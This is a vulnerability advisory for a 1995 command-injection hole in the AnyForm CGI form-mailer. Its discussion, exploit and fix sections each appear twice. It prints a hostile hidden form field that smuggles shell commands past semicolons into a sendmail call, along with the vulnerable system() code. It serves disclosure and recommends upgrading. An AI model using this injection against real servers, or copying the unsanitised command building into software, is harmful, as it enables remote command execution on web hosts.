Anyform CGI Semicolon Vulnerability
BID:719
CVE-1999-66 |Info
Anyform CGI Semicolon Vulnerability
| Bugtraq ID: | 719 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 31 1995 12:00AM |
| Updated: | Jul 31 1995 12:00AM |
| Credit: | This vulnerability was posted to the Bugtraq mailing list by Paul Phillips <[email protected]> on Mon July 31 1995. |
| Vulnerable: |
John S. Roberts AnyForm 2.0 John S. Roberts AnyForm 1.0 |
| Not Vulnerable: |
John S. Roberts AnyForm 4.0 John S. Roberts AnyForm 3.0 |
Discussion
Anyform CGI Semicolon Vulnerability
AnyForm is a popular form CGI designed to support simple forms that deliver responses via email. Certain versions of AnyForm did not perform user supplied data sanity checking and could be exploited by remote intruders to execute arbitrary commands. These commands were issued as the UID which the web server runs as, typically 'nobody'.
AnyForm is a popular form CGI designed to support simple forms that deliver responses via email. Certain versions of AnyForm did not perform user supplied data sanity checking and could be exploited by remote intruders to execute arbitrary commands. These commands were issued as the UID which the web server runs as, typically 'nobody'.
Exploit / POC
Anyform CGI Semicolon Vulnerability
Exploit as taken from the original post on this issue:
To exploit, create a form with a hidden field something like this:
<input type="hidden" name="AnyFormTo" value="[email protected];command-to-execute
with whatever arguments;/usr/lib/sendmail -t [email protected] ">
Then submit the form to the "AnyForm" CGI on the server to be attacked.
The value of this parameter is passed to this code:
SystemCommand="/usr/lib/sendmail -t " + AnyFormTo + " <" + CombinedFileName;
system(SystemCommand);
Since system invokes a shell, the semicolons are treated as command
delimeters and anything can be inserted.
Exploit as taken from the original post on this issue:
To exploit, create a form with a hidden field something like this:
<input type="hidden" name="AnyFormTo" value="[email protected];command-to-execute
with whatever arguments;/usr/lib/sendmail -t [email protected] ">
Then submit the form to the "AnyForm" CGI on the server to be attacked.
The value of this parameter is passed to this code:
SystemCommand="/usr/lib/sendmail -t " + AnyFormTo + " <" + CombinedFileName;
system(SystemCommand);
Since system invokes a shell, the semicolons are treated as command
delimeters and anything can be inserted.
Solution / Fix
Anyform CGI Semicolon Vulnerability
Solution:
This vulnerability has long since been addressed by the author. It is suggested you upgrade to the most recent version of AnyForm.
http://www.ibmpcug.co.uk/pcug/anyform2.htm
Solution:
This vulnerability has long since been addressed by the author. It is suggested you upgrade to the most recent version of AnyForm.
http://www.ibmpcug.co.uk/pcug/anyform2.htm